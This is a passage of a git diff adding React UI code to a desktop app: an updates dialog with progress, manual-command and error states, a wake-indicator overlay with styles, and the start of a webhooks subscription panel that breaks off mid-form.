+import { resolveUpdateCopy, type UpdateTarget } from '@/lib/update-copy'
+import { cn } from '@/lib/utils'
+import {
+  $backendUpdateApply,
+  $backendUpdateChecking,
+  $backendUpdateStatus,
+  $updateApply,
+  $updateChecking,
+  $updateOverlayOpen,
+  $updateOverlayTarget,
+  $updateStatus,
+  applyBackendUpdate,
+  applyUpdates,
+  checkBackendUpdates,
+  checkUpdates,
+  resetUpdateApplyState,
+  setUpdateOverlayOpen,
+  type UpdateApplyState
+} from '@/store/updates'
+
+function totalItems(groups: readonly CommitGroup[]) {
+  return groups.reduce((sum, g) => sum + g.items.length, 0)
+}
+
+export function UpdatesOverlay() {
+  const open = useStore($updateOverlayOpen)
+  const target = useStore($updateOverlayTarget)
+
+  const clientStatus = useStore($updateStatus)
+  const clientChecking = useStore($updateChecking)
+  const clientApply = useStore($updateApply)
+  const backendStatus = useStore($backendUpdateStatus)
+  const backendChecking = useStore($backendUpdateChecking)
+  const backendApply = useStore($backendUpdateApply)
+
+  const isBackend = target === 'backend'
+  const status = isBackend ? backendStatus : clientStatus
+  const checking = isBackend ? backendChecking : clientChecking
+  const apply = isBackend ? backendApply : clientApply
+  const check = isBackend ? checkBackendUpdates : checkUpdates
+  const install = isBackend ? applyBackendUpdate : applyUpdates
+
+  useEffect(() => {
+    if (open && !status && !checking) {
+      void check()
+    }
+  }, [check, checking, open, status])
+
+  const behind = status?.behind ?? 0
+  const updateAvailable = status?.updateAvailable || behind > 0
+
+  const phase: 'idle' | 'applying' | 'manual' | 'guiSkew' | 'error' =
+    apply.stage === 'manual'
+      ? 'manual'
+      : apply.stage === 'guiSkew'
+        ? 'guiSkew'
+        : apply.applying || apply.stage === 'restart'
+          ? 'applying'
+          : apply.stage === 'error'
+            ? 'error'
+            : 'idle'
+
+  const handleClose = (next: boolean) => {
+    if (phase === 'applying') {
+      return
+    }
+
+    setUpdateOverlayOpen(next)
+
+    if (
+      !next &&
+      (apply.stage === 'error' || apply.stage === 'restart' || apply.stage === 'manual' || apply.stage === 'guiSkew')
+    ) {
+      resetUpdateApplyState()
+    }
+  }
+
+  const handleInstall = () => {
+    void install()
+  }
+
+  return (
+    <Dialog onOpenChange={handleClose} open={open}>
+      {/* This dialog has no inputs, so Radix's default autofocus would land on
+          the close button and trigger its tooltip immediately on open. */}
+      <DialogContent
+        bodyClassName="overflow-hidden p-0 gap-0"
+        className="max-w-sm"
+        onOpenAutoFocus={preventCloseButtonAutoFocus}
+        showCloseButton={phase !== 'applying'}
+      >
+        {phase === 'applying' && <ApplyingView apply={apply} isBackend={isBackend} />}
+
+        {phase === 'manual' && (
+          <ManualView command={apply.command ?? null} message={apply.message} onDone={() => handleClose(false)} />
+        )}
+
+        {phase === 'guiSkew' && <GuiSkewView message={apply.message} onDone={() => handleClose(false)} />}
+
+        {phase === 'error' && (
+          <ErrorView message={apply.message} onDismiss={() => handleClose(false)} onRetry={handleInstall} />
+        )}
+
+        {phase === 'idle' && (
+          <IdleView
+            behind={behind}
+            checking={checking}
+            commits={status?.commits ?? []}
+            onInstall={handleInstall}
+            onLater={() => handleClose(false)}
+            onRetryCheck={() => void check()}
+            status={status}
+            target={target}
+            updateAvailable={updateAvailable}
+          />
+        )}
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+function IdleView({
+  behind,
+  checking,
+  commits,
+  onInstall,
+  onLater,
+  onRetryCheck,
+  status,
+  target,
+  updateAvailable
+}: {
+  behind: number
+  checking: boolean
+  commits: readonly DesktopUpdateCommit[]
+  onInstall: () => void
+  onLater: () => void
+  onRetryCheck: () => void
+  status: DesktopUpdateStatus | null
+  target: UpdateTarget
+  updateAvailable: boolean
+}) {
+  const { t } = useI18n()
+  const u = t.updates
+
+  if (!status && checking) {
+    return (
+      <CenteredStatus
+        icon={<Loader className="size-12" label={u.checking} type="lemniscate-bloom" />}
+        title={u.checking}
+      />
+    )
+  }
+
+  if (!status) {
+    return (
+      <CenteredStatus
+        action={
+          <Button onClick={onRetryCheck} size="sm">
+            {u.tryAgain}
+          </Button>
+        }
+        icon={<ErrorIcon />}
+        title={u.checkFailedTitle}
+      />
+    )
+  }
+
+  if (!status.supported) {
+    return (
+      <CenteredStatus
+        body={status.message ?? u.unsupportedMessage}
+        icon={<AlertCircle className="size-6 text-muted-foreground" />}
+        title={u.notAvailableTitle}
+      />
+    )
+  }
+
+  if (status.error) {
+    return (
+      <CenteredStatus
+        action={
+          <Button disabled={checking} onClick={onRetryCheck} size="sm">
+            {u.tryAgain}
+          </Button>
+        }
+        body={u.connectionRetry}
+        icon={<ErrorIcon />}
+        title={u.checkFailedTitle}
+      />
+    )
+  }
+
+  if (!updateAvailable) {
+    return (
+      <CenteredStatus
+        body={target === 'backend' ? u.latestBodyBackend : u.latestBody}
+        icon={<BrandMark className="size-12" />}
+        title={u.allSetTitle}
+      />
+    )
+  }
+
+  const groups = buildCommitChangelog(commits)
+  const shownItems = totalItems(groups)
+  const remaining = Math.max(0, behind - shownItems)
+
+  // Name what's being updated. In remote mode the overlay acts on the connected
+  // backend, not the local client — say so. When there are no commit rows to
+  // show (e.g. pip/non-git backend), degrade to honest "no release notes" copy
+  // instead of generic filler.
+  const { title, body } = resolveUpdateCopy({ target, shownItems, copy: u })
+
+  return (
+    <div className="grid gap-5 px-6 pb-6 pt-7 pr-8">
+      <div className="flex flex-col items-center gap-3 text-center">
+        <BrandMark className="size-16" />
+
+        <DialogTitle className="text-center text-xl">{title}</DialogTitle>
+        <DialogDescription className="text-center text-sm">{body}</DialogDescription>
+      </div>
+
+      <div className="grid gap-3">
+        {groups.map(group => (
+          <div key={group.id}>
+            <p className="text-[0.625rem] font-semibold uppercase tracking-wide text-muted-foreground">{group.label}</p>
+            <ul className="mt-1.5 grid gap-1.5 text-xs text-foreground">
+              {group.items.map(item => (
+                <li className="flex items-start gap-2" key={item}>
+                  <span aria-hidden className="mt-1.5 inline-block size-1 shrink-0 rounded-full bg-primary" />
+                  <span className="leading-snug">{item}</span>
+                </li>
+              ))}
+            </ul>
+          </div>
+        ))}
+      </div>
+
+      <div className="grid gap-2">
+        <Button className="font-semibold" onClick={onInstall} size="lg">
+          {u.updateNow}
+        </Button>
+        <Button className="font-medium" onClick={onLater} type="button" variant="text">
+          {u.maybeLater}
+        </Button>
+      </div>
+
+      {remaining > 0 && <p className="text-center text-xs text-muted-foreground">{u.moreChanges(remaining)}</p>}
+    </div>
+  )
+}
+
+function ManualView({ command, message, onDone }: { command: string | null; message?: string; onDone: () => void }) {
+  const { t } = useI18n()
+  const u = t.updates
+  const [copied, setCopied] = useState(false)
+
+  const handleCopy = () => {
+    if (!command) {
+      return
+    }
+
+    void writeClipboardText(command).then(() => {
+      setCopied(true)
+      window.setTimeout(() => setCopied(false), 1800)
+    })
+  }
+
+  // No command (e.g. the Linux sandbox-blocked relaunch): render the explanatory
+  // message + a Done button, not a copy-a-command box.
+  if (!command) {
+    return (
+      <div className="grid gap-5 px-6 pb-6 pt-7 pr-8">
+        <div className="flex flex-col items-center gap-3 text-center">
+          <Terminal className="size-8 text-primary" />
+
+          <DialogTitle className="text-center text-xl">{u.manualTitle}</DialogTitle>
+          <DialogDescription className="text-center text-sm">{message || u.manualPickedUp}</DialogDescription>
+        </div>
+
+        <Button className="font-semibold" onClick={onDone} size="lg" variant="secondary">
+          {u.done}
+        </Button>
+      </div>
+    )
+  }
+
+  return (
+    <div className="grid gap-5 px-6 pb-6 pt-7 pr-8">
+      <div className="flex flex-col items-center gap-3 text-center">
+        <Terminal className="size-8 text-primary" />
+
+        <DialogTitle className="text-center text-xl">{u.manualTitle}</DialogTitle>
+        <DialogDescription className="text-center text-sm">{u.manualBody}</DialogDescription>
+      </div>
+
+      <button
+        className={cn(
+          'group flex w-full items-center justify-between gap-3 rounded-md border px-4 py-3 text-left transition-colors',
+          copied ? 'border-primary/50' : 'border-(--stroke-nous) hover:border-(--ui-stroke-secondary)'
+        )}
+        onClick={handleCopy}
+        type="button"
+      >
+        <code className="min-w-0 flex-1 truncate select-all font-mono text-sm text-foreground">
+          <span className="select-none text-muted-foreground">$ </span>
+          {command}
+        </code>
+        <span
+          className={cn(
+            'flex shrink-0 items-center gap-1 text-xs font-medium transition-colors',
+            copied ? 'text-primary' : 'text-muted-foreground group-hover:text-foreground'
+          )}
+        >
+          {copied ? <Check className="size-3.5" /> : <Copy className="size-3.5" />}
+          {copied ? u.copied : u.copy}
+        </span>
+      </button>
+
+      <p className="text-center text-xs text-muted-foreground">{u.manualPickedUp}</p>
+
+      <Button className="font-semibold" onClick={onDone} size="lg" variant="secondary">
+        {u.done}
+      </Button>
+    </div>
+  )
+}
+
+// Linux GUI/backend skew (#45205): backend updated, but the running desktop app
+// package (AppImage/.deb/.rpm) was NOT changed. Closeable terminal state that
+// tells the user to update/reinstall the desktop app — never claims the GUI was
+// updated.
+function GuiSkewView({ message, onDone }: { message?: string; onDone: () => void }) {
+  const { t } = useI18n()
+  const u = t.updates
+
+  return (
+    <div className="grid gap-5 px-6 pb-6 pt-7 pr-8">
+      <div className="flex flex-col items-center gap-3 text-center">
+        <AlertCircle className="size-8 text-amber-500" />
+
+        <DialogTitle className="text-center text-xl">{u.guiSkewTitle}</DialogTitle>
+        <DialogDescription className="max-w-prose text-center text-sm leading-5 text-muted-foreground">
+          {message || u.guiSkewBody}
+        </DialogDescription>
+      </div>
+
+      <Button className="font-semibold" onClick={onDone} size="lg" variant="secondary">
+        {u.done}
+      </Button>
+    </div>
+  )
+}
+
+function ApplyingView({ apply, isBackend }: { apply: UpdateApplyState; isBackend: boolean }) {
+  const { t } = useI18n()
+  const u = t.updates
+  const label = u.stages[apply.stage as DesktopUpdateStage] ?? u.stages.idle
+  const body = isBackend ? u.applyingBodyBackend : u.applyingBody
+  const currentMessage = apply.message.trim()
+  const recentLog = apply.log.slice(-4)
+
+  const percent =
+    typeof apply.percent === 'number' && Number.isFinite(apply.percent)
+      ? Math.max(2, Math.min(100, Math.round(apply.percent)))
+      : null
+
+  return (
+    <div className="grid gap-5 px-6 pb-6 pt-7">
+      <div className="flex flex-col items-center gap-3 text-center">
+        <Loader className="size-16" label={label} type="lemniscate-bloom" />
+
+        <DialogTitle className="text-center text-xl">{label}</DialogTitle>
+        <DialogDescription className="text-center text-sm">{body}</DialogDescription>
+
+        {currentMessage ? (
+          <p className="max-w-lg break-words text-center text-xs leading-5 text-muted-foreground">{currentMessage}</p>
+        ) : null}
+      </div>
+
+      <Progress
+        aria-label={label}
+        indeterminate={percent === null}
+        size="lg"
+        value={percent === null ? 0 : percent / 100}
+      />
+
+      {recentLog.length > 1 ? (
+        <div className="max-h-24 overflow-hidden rounded-md border border-border/70 bg-muted/35 px-3 py-2 text-left font-mono text-[11px] leading-4 text-muted-foreground">
+          {recentLog.map((entry, index) => (
+            <div className="truncate" key={`${entry.at}-${index}`}>
+              {entry.message}
+            </div>
+          ))}
+        </div>
+      ) : null}
+
+      <p className="text-center text-xs text-muted-foreground">{u.applyingClose}</p>
+    </div>
+  )
+}
+
+function ErrorView({ message, onDismiss, onRetry }: { message: string; onDismiss: () => void; onRetry: () => void }) {
+  const { t } = useI18n()
+  const u = t.updates
+
+  return (
+    <ErrorState
+      className="px-6 pb-6 pt-7 pr-8"
+      description={
+        <DialogDescription className="max-w-prose text-center text-sm leading-5 text-muted-foreground">
+          {message || u.errorBody}
+        </DialogDescription>
+      }
+      title={<DialogTitle className="text-center text-xl font-semibold tracking-tight">{u.errorTitle}</DialogTitle>}
+    >
+      <Button className="font-semibold" onClick={onRetry} size="lg">
+        {u.tryAgain}
+      </Button>
+      <Button onClick={onDismiss} variant="text">
+        {u.notNow}
+      </Button>
+    </ErrorState>
+  )
+}
+
+function CenteredStatus({
+  action,
+  body,
+  icon,
+  title
+}: {
+  action?: React.ReactNode
+  body?: string
+  icon: React.ReactNode
+  title: string
+}) {
+  return (
+    <div className="grid gap-4 px-6 pb-6 pt-8 pr-8">
+      <div className="flex flex-col items-center gap-3 text-center">
+        {icon}
+
+        <DialogTitle className="text-center text-lg">{title}</DialogTitle>
+        {body && <DialogDescription className="text-center text-sm">{body}</DialogDescription>}
+      </div>
+
+      {action && <div className="flex justify-center">{action}</div>}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/wake-indicator/wake-indicator-app.tsx b/ui-desktop/src/app/wake-indicator/wake-indicator-app.tsx
new file mode 100644
index 000000000..1e929ad6e
--- /dev/null
+++ b/ui-desktop/src/app/wake-indicator/wake-indicator-app.tsx
@@ -0,0 +1,42 @@
+import './wake-indicator.css'
+
+import { useEffect, useState } from 'react'
+
+import type { WakeIndicatorState } from '@/lib/wake-indicator'
+
+export function WakeIndicatorApp() {
+  const [state, setState] = useState<WakeIndicatorState>('hidden')
+
+  useEffect(() => {
+    const api = window.clawcodexDesktop?.wakeIndicator
+    let mounted = true
+    let receivedLiveState = false
+
+    const unsubscribe = api?.onState(next => {
+      if (mounted) {
+        receivedLiveState = true
+        setState(next)
+      }
+    })
+
+    void api
+      ?.getState()
+      .then(next => {
+        if (mounted && !receivedLiveState) {
+          setState(next)
+        }
+      })
+      .catch(() => undefined)
+
+    return () => {
+      mounted = false
+      unsubscribe?.()
+    }
+  }, [])
+
+  return (
+    <main aria-hidden className="wake-indicator-surface" data-state={state}>
+      <div className="wake-indicator-light" />
+    </main>
+  )
+}
diff --git a/ui-desktop/src/app/wake-indicator/wake-indicator-root.tsx b/ui-desktop/src/app/wake-indicator/wake-indicator-root.tsx
new file mode 100644
index 000000000..fc4a99288
--- /dev/null
+++ b/ui-desktop/src/app/wake-indicator/wake-indicator-root.tsx
@@ -0,0 +1,26 @@
+import { StrictMode } from 'react'
+import { createRoot } from 'react-dom/client'
+
+import { ErrorBoundary } from '@/components/error-boundary'
+
+import { WakeIndicatorApp } from './wake-indicator-app'
+
+export function mountWakeIndicator(): void {
+  const style = document.createElement('style')
+  style.textContent = 'html,body,#root{background:transparent !important;overflow:hidden;}'
+  document.head.appendChild(style)
+
+  const root = document.getElementById('root')
+
+  if (!root) {
+    return
+  }
+
+  createRoot(root).render(
+    <StrictMode>
+      <ErrorBoundary label="wake-indicator">
+        <WakeIndicatorApp />
+      </ErrorBoundary>
+    </StrictMode>
+  )
+}
diff --git a/ui-desktop/src/app/wake-indicator/wake-indicator.css b/ui-desktop/src/app/wake-indicator/wake-indicator.css
new file mode 100644
index 000000000..c9d92d509
--- /dev/null
+++ b/ui-desktop/src/app/wake-indicator/wake-indicator.css
@@ -0,0 +1,61 @@
+.wake-indicator-surface {
+  align-items: flex-start;
+  background: transparent;
+  display: flex;
+  height: 100vh;
+  justify-content: center;
+  padding-top: 5px;
+  pointer-events: none;
+  width: 100vw;
+}
+
+.wake-indicator-light {
+  backdrop-filter: blur(20px) saturate(1.2);
+  background: rgba(124, 58, 237, 0.62);
+  border: 1px solid rgba(216, 180, 254, 0.82);
+  border-radius: 999px;
+  box-shadow:
+    0 0 10px rgba(124, 58, 237, 0.7),
+    0 0 24px rgba(168, 85, 247, 0.48);
+  height: 28px;
+  opacity: 0;
+  transform: scale(0.96);
+  transition:
+    opacity 500ms ease-out,
+    transform 500ms ease-out;
+  width: 120px;
+}
+
+.wake-indicator-surface[data-state='detected'] .wake-indicator-light {
+  animation: wake-indicator-breathe 2.5s ease-in-out infinite;
+}
+
+.wake-indicator-surface[data-state='capturing'] .wake-indicator-light {
+  opacity: 1;
+  transform: scale(1);
+}
+
+@keyframes wake-indicator-breathe {
+  0%,
+  100% {
+    opacity: 0.34;
+    transform: scale(0.96);
+  }
+
+  50% {
+    opacity: 0.94;
+    transform: scale(1);
+  }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .wake-indicator-light {
+    transition: opacity 200ms ease-out;
+  }
+
+  .wake-indicator-surface[data-state='detected'] .wake-indicator-light {
+    animation: none;
+    opacity: 0.72;
+    transform: scale(1);
+  }
+}
diff --git a/ui-desktop/src/app/webhooks/index.tsx b/ui-desktop/src/app/webhooks/index.tsx
new file mode 100644
index 000000000..839a87c5a
--- /dev/null
+++ b/ui-desktop/src/app/webhooks/index.tsx
@@ -0,0 +1,609 @@
+import { useStore } from '@nanostores/react'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
+import { useCallback, useEffect, useMemo, useState } from 'react'
+
+import {
+  createWebhook,
+  deleteWebhook,
+  enableWebhooks,
+  getWebhooks,
+  setWebhookEnabled,
+  type WebhookRoute,
+  type WebhooksResponse
+} from '@/clawcodex'
+import { PageLoader } from '@/components/page-loader'
+import { Alert, AlertDescription, AlertTitle } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import { CopyButton } from '@/components/ui/copy-button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { Field } from '@/components/ui/field'
+import { Input } from '@/components/ui/input'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { useI18n } from '@/i18n'
+import { AlertTriangle, Globe, Plus, RefreshCw } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { notify, notifyError } from '@/store/notifications'
+import { $profileScope } from '@/store/profile'
+import { runGatewayRestart } from '@/store/system-actions'
+
+import { useRefreshHotkey } from '../hooks/use-refresh-hotkey'
+import {
+  Panel,
+  PanelAddButton,
+  PanelBlock,
+  PanelBody,
+  PanelDetail,
+  PanelEmpty,
+  PanelHeader,
+  PanelList,
+  PanelListRow,
+  PanelMeta,
+  PanelPill,
+  PanelSectionLabel
+} from '../overlays/panel'
+import { ListRow } from '../settings/primitives'
+
+const DELIVER_OPTIONS: readonly string[] = ['log', 'telegram', 'discord', 'slack', 'email', 'github_comment']
+
+interface CreatedWebhook {
+  secret: string
+  url: string
+}
+
+// One affordance for "value + CopyButton": flat, token-backed (no border, no
+// raw literals). DESIGN.md Principle 1 (flat, not boxed) + 4 (tokens, not
+// literals). Reused by the detail URL row and the create-result URL/secret so
+// there is a single copyable-value chrome in this file.
+function CopyValueRow({ copyLabel, mono = true, value }: { copyLabel: string; mono?: boolean; value: string }) {
+  return (
+    <div className="flex items-center gap-1 rounded bg-foreground/5 px-2.5 py-1.5 text-[0.7rem]">
+      <span className={cn('min-w-0 flex-1 truncate text-foreground/80', mono && 'font-mono')}>{value}</span>
+      <CopyButton appearance="icon" buttonSize="icon-sm" label={copyLabel} text={value} />
+    </div>
+  )
+}
+
+interface WebhooksViewProps {
+  onClose: () => void
+}
+
+export function WebhooksView({ onClose }: WebhooksViewProps) {
+  const { t } = useI18n()
+  const w = t.webhooks
+  // Re-load when the active profile changes so REST routes to the right backend.
+  const profileScope = useStore($profileScope)
+  const queryClient = useQueryClient()
+  const queryKey = useMemo(() => ['webhooks', profileScope] as const, [profileScope])
+
+  const [query, setQuery] = useState('')
+  const [enabling, setEnabling] = useState(false)
+  const [restartNeeded, setRestartNeeded] = useState(false)
+  const [restartError, setRestartError] = useState<null | string>(null)
+  const [restarting, setRestarting] = useState(false)
+  // Master/detail: the subscription whose config fills the right pane.
+  const [selectedName, setSelectedName] = useState<null | string>(null)
+
+  const [createOpen, setCreateOpen] = useState(false)
+  const [name, setName] = useState('')
+  const [description, setDescription] = useState('')
+  const [events, setEvents] = useState('')
+  const [deliver, setDeliver] = useState('log')
+  const [deliverOnly, setDeliverOnly] = useState(false)
+  const [prompt, setPrompt] = useState('')
+  const [skills, setSkills] = useState('')
+  const [creating, setCreating] = useState(false)
+  const [created, setCreated] = useState<CreatedWebhook | null>(null)
+
+  const [pendingDelete, setPendingDelete] = useState<null | string>(null)
+
+  const {
+    data,
+    error,
+    isPending: loading,
+    refetch
+  } = useQuery({
+    queryKey,
+    queryFn: getWebhooks
+  })
+
+  // React Query v5 dropped useQuery onError; surface a load failure toast once
+  // per error object instead.
+  useEffect(() => {
+    if (error) {
+      notifyError(error, w.loadFailed)
+    }
+  }, [error, w.loadFailed])
+
+  const enabled = data?.enabled ?? false
+  const subscriptions = useMemo(() => data?.subscriptions ?? [], [data])
+
+  // Pull fresh backend truth into the cache. `silent` swallows the error toast
+  // for post-mutation reconciles (the mutation already reported success/failure).
+  const reload = useCallback(
+    async (silent = false) => {
+      try {
+        await queryClient.invalidateQueries({ queryKey })
+      } catch (err) {
+        if (!silent) {
+          notifyError(err, w.loadFailed)
+        }
+      }
+    },
+    [queryClient, queryKey, w.loadFailed]
+  )
+
+  useRefreshHotkey(() => void refetch())
+
+  const restartGatewayNow = useCallback(async () => {
+    setRestarting(true)
+
+    try {
+      await runGatewayRestart()
+      setRestartNeeded(false)
+      setRestartError(null)
+      // Give the receiver a moment to bind before re-reading state.
+      window.setTimeout(() => void reload(true), 4000)
+    } catch (err) {
+      setRestartNeeded(true)
+      setRestartError(String(err))
+      notifyError(err, w.restartFailed(''))
+    } finally {
+      setRestarting(false)
+    }
+  }, [reload, w])
+
+  const handleEnable = useCallback(async () => {
+    setEnabling(true)
+    setRestartNeeded(false)
+    setRestartError(null)
+
+    try {
+      const result = await enableWebhooks()
+      await reload(true)
+
+      if (result.restart_started) {
+        notify({ kind: 'success', message: w.enabledRestarting })
+        window.setTimeout(() => void reload(true), 4000)
+      } else {
+        const detail = result.restart_error ? `: ${result.restart_error}` : '.'
+        setRestartNeeded(true)
+        setRestartError(w.restartFailed(detail))
+        notify({ kind: 'error', message: w.restartFailed(detail) })
+      }
+    } catch (err) {
+      notifyError(err, w.restartFailed(''))
+    } finally {
+      setEnabling(false)
+    }
+  }, [reload, w])
+
+  const resetForm = useCallback(() => {
+    setName('')
+    setDescription('')
+    setEvents('')
+    setDeliver('log')
+    setDeliverOnly(false)
+    setPrompt('')
+    setSkills('')
+  }, [])
+
+  const closeCreate = useCallback(() => {
+    if (creating) {
+      return
+    }
+
+    setCreateOpen(false)
+    setCreated(null)
+  }, [creating])
+
+  const handleCreate = useCallback(async () => {
+    if (!name.trim()) {
+      notify({ kind: 'error', message: w.nameRequired })
+
+      return
+    }
+
+    setCreating(true)
+
+    try {
+      const eventsList = events
+        .split(',')
+        .map(e => e.trim())
+        .filter(Boolean)
+
+      const skillsList = skills
+        .split(',')
+        .map(s => s.trim())
+        .filter(Boolean)
+
+      const res = await createWebhook({
+        deliver,
+        deliver_only: deliverOnly,
+        description: description.trim() || undefined,
+        events: eventsList.length ? eventsList : undefined,
+        name: name.trim(),
+        prompt: prompt.trim() || undefined,
+        skills: skillsList.length ? skillsList : undefined
+      })
+
+      notify({ kind: 'success', message: w.created })
+      setCreated({ secret: res.secret, url: res.url })
+      resetForm()
+      void reload(true)
+    } catch (err) {
+      notifyError(err, w.createFailed(''))
+    } finally {
+      setCreating(false)
+    }
+  }, [deliver, deliverOnly, description, events, name, prompt, reload, resetForm, skills, w])
+
+  const handleToggle = useCallback(
+    async (subName: string, nextEnabled: boolean) => {
+      // Optimistic cache paint; the invalidate below lets backend truth win.
+      queryClient.setQueryData<WebhooksResponse>(queryKey, current =>
+        current
+          ? {
+              ...current,
+              subscriptions: current.subscriptions.map(s => (s.name === subName ? { ...s, enabled: nextEnabled } : s))
+            }
+          : current
+      )
+
+      try {
+        await setWebhookEnabled(subName, nextEnabled)
+        notify({ kind: 'success', message: nextEnabled ? w.enabled(subName) : w.disabled(subName) })
+        void reload(true)
+      } catch (err) {
+        await reload(true)
+        notifyError(err, w.toggleFailed(subName, nextEnabled))
+      }
+    },
+    [queryClient, queryKey, reload, w]
+  )
+
+  // ConfirmDialog owns the pending→done→close beat; throw to surface its inline
+  // error and keep the dialog open. Success toast matches the cron delete idiom
+  // (title + name).
+  const handleDelete = useCallback(async () => {
+    if (!pendingDelete) {
+      return
+    }
+
+    try {
+      await deleteWebhook(pendingDelete)
+      notify({ kind: 'success', title: w.deleted, message: pendingDelete })
+      void reload(true)
+    } catch (err) {
+      notifyError(err, w.deleteFailed(pendingDelete))
+      throw err
+    }
+  }, [pendingDelete, reload, w])
+
+  const visible = useMemo(() => {
+    const q = query.trim().toLowerCase()
+
+    if (!q) {
+      return subscriptions
+    }
+
+    return subscriptions.filter(s =>
+      [s.name, s.description, s.deliver, ...s.events].filter(Boolean).some(v => v.toLowerCase().includes(q))
+    )
+  }, [query, subscriptions])
+
+  // Detail always reflects a concrete sub: the explicitly selected one, else the
+  // first visible row, so the right pane is never empty while subs exist.
+  const selectedSub = useMemo(
+    () => visible.find(s => s.name === selectedName) ?? visible[0] ?? null,
+    [visible, selectedName]
+  )
+
+  const banners = (
+    <>
+      {!enabled && (
+        <Alert className="mb-4" variant="warning">
+          <Globe />
+          <AlertTitle>{w.disabledTitle}</AlertTitle>
+          <AlertDescription>
+            <p>{w.disabledBody}</p>
+            <Button className="mt-1" disabled={enabling} onClick={() => void handleEnable()} size="sm">
+              <Globe />
+              {enabling ? w.enabling : w.enable}
+            </Button>
+          </AlertDescription>
+        </Alert>
+      )}
+
+      {restartNeeded && (
+        <Alert className="mb-4" variant="warning">
+          <AlertTriangle />
+          <AlertDescription>
+            <p>{restartError ?? w.restartNeeded}</p>
+            <Button
+              className="mt-1"
+              disabled={restarting}
+              onClick={() => void restartGatewayNow()}
+              size="sm"
+              variant="secondary"
+            >
+              <RefreshCw />
+              {restarting ? w.restartingGateway : w.restartGateway}
+            </Button>
+          </AlertDescription>
+        </Alert>
+      )}
+    </>
+  )
+
+  return (
+    <Panel onClose={onClose}>
+      {loading ? (
+        <PageLoader label={w.loading} />
+      ) : subscriptions.length === 0 ? (
+        <>
+          {banners}
+          <PanelEmpty
+            action={
+              <Button
+                disabled={!enabled || enabling}
+                onClick={() => {
+                  setCreated(null)
+                  setCreateOpen(true)
+                }}
+                size="sm"
+              >
+                <Plus />
+                {w.newSubscription}
+              </Button>
+            }
+            description={w.empty}
+            icon="globe"
+          />
+        </>
+      ) : (
+        <>
+          <PanelHeader subtitle={w.hint} title={w.subscriptions(subscriptions.length)} />
+          {banners}
+          <PanelBody>
+            <PanelList
+              onSearchChange={setQuery}
+              searchLabel={w.search}
+              searchPlaceholder={w.search}
+              searchValue={query}
+            >
+              {visible.map(sub => (
+                <PanelListRow
+                  active={selectedSub?.name === sub.name}
+                  dotClassName={sub.enabled ? 'bg-emerald-500' : 'bg-muted-foreground/50'}
+                  key={sub.name}
+                  menuItems={[
+                    {
+                      icon: sub.enabled ? 'circle-slash' : 'check',
+                      label: sub.enabled ? w.disableRow : w.enableRow,
+                      onSelect: () => void handleToggle(sub.name, !sub.enabled)
+                    },
+                    { icon: 'trash', label: w.delete, onSelect: () => setPendingDelete(sub.name), tone: 'danger' }
+                  ]}
+                  onSelect={() => setSelectedName(sub.name)}
+                  title={sub.name}
+                />
+              ))}
+              {visible.length === 0 && <p className="px-2 py-4 text-center text-xs text-muted-foreground">{w.empty}</p>}
+              <PanelAddButton
+                label={w.newSubscription}
+                onClick={() => {
+                  setCreated(null)
+                  setCreateOpen(true)
+                }}
+              />
+            </PanelList>
+
+            {selectedSub ? <WebhookDetail sub={selectedSub} /> : <PanelEmpty description={w.empty} icon="search" />}
+          </PanelBody>
+        </>
+      )}
+
+      {/* Create subscription dialog */}
+      <Dialog onOpenChange={open => !open && closeCreate()} open={createOpen}>
+        <DialogContent className="max-w-lg">
+          <DialogHeader>
+            <DialogTitle>{created ? w.createdTitle : w.newSubscription}</DialogTitle>
+            {created && <DialogDescription>{w.createdSecretHint}</DialogDescription>}
+          </DialogHeader>
+
+          {created ? (
+            <div className="grid gap-2">
+              <ListRow action={<CopyValueRow copyLabel={w.copy} value={created.url} />} title={w.webhookUrl} wide />
+              <ListRow action={<CopyValueRow copyLabel={w.copy} value={created.secret} />} title={w.secretOnce} wide />
+              <DialogFooter>
+                <Button onClick={closeCreate} size="sm">
+                  {w.done}
+                </Button>
+              </DialogFooter>
+            </div>
+          ) : (
+            <form
+              className="grid gap-4"
+              onSubmit={e => {
+                e.preventDefault()
+                void handleCreate()
+              }}
+            >
+              <div className="grid items-start gap-4 sm:grid-cols-2">
+                <Field htmlFor="webhook-name" label={w.fieldName}>
+                  <Input
+                    autoFocus
+                    id="webhook-name"
+                    onChange={e => setName(e.target.value)}
+                    placeholder={w.fieldNamePlaceholder}
+                    value={name}
+                  />
+                </Field>
+                <Field htmlFor="webhook-description" label={w.fieldDescription}>
+                  <Input
+                    id="webhook-description"
+                    onChange={e => setDescription(e.target.value)}
+                    placeholder={w.fieldDescriptionPlaceholder}
+                    value={description}
+                  />
+                </Field>
+              </div>
+
+              <Field htmlFor="webhook-prompt" label={w.fieldPrompt}>
+                <Textarea
+                  className="min-h-24"
+                  id="webhook-prompt"
+                  onChange={e => setPrompt(e.target.value)}
+                  placeholder={w.fieldPromptPlaceholder}
+                  value={prompt}
+                />
+              </Field>
+
+              <div className="grid items-start gap-4 sm:grid-cols-2">
+                <Field htmlFor="webhook-events" label={w.fieldEvents}>
+                  <Input
+                    id="webhook-events"
+                    onChange={e => setEvents(e.target.value)}
+                    placeholder={w.fieldEventsPlaceholder}
+                    value={events}
+                  />
+                </Field>
+                <Field htmlFor="webhook-skills" label={w.fieldSkills}>
+                  <Input
+                    id="webhook-skills"
+                    onChange={e => setSkills(e.target.value)}
+                    placeholder={w.fieldSkillsPlaceholder}
+                    value={skills}
+                  />
+                </Field>
+              </div>
+
+              <div className="grid items-start gap-4 sm:grid-cols-2">
+                <Field htmlFor="webhook-deliver" label={w.fieldDeliver}>
+                  <Select onValueChange={setDeliver} value={deliver}>
+                    <SelectTrigger className="h-9 rounded-md" id="webhook-deliver">
+                      <SelectValue />
+                    </SelectTrigger>
+                    <SelectContent>
+                      {DELIVER_OPTIONS.map(opt => (
+                        <SelectItem key={opt} value={opt}>
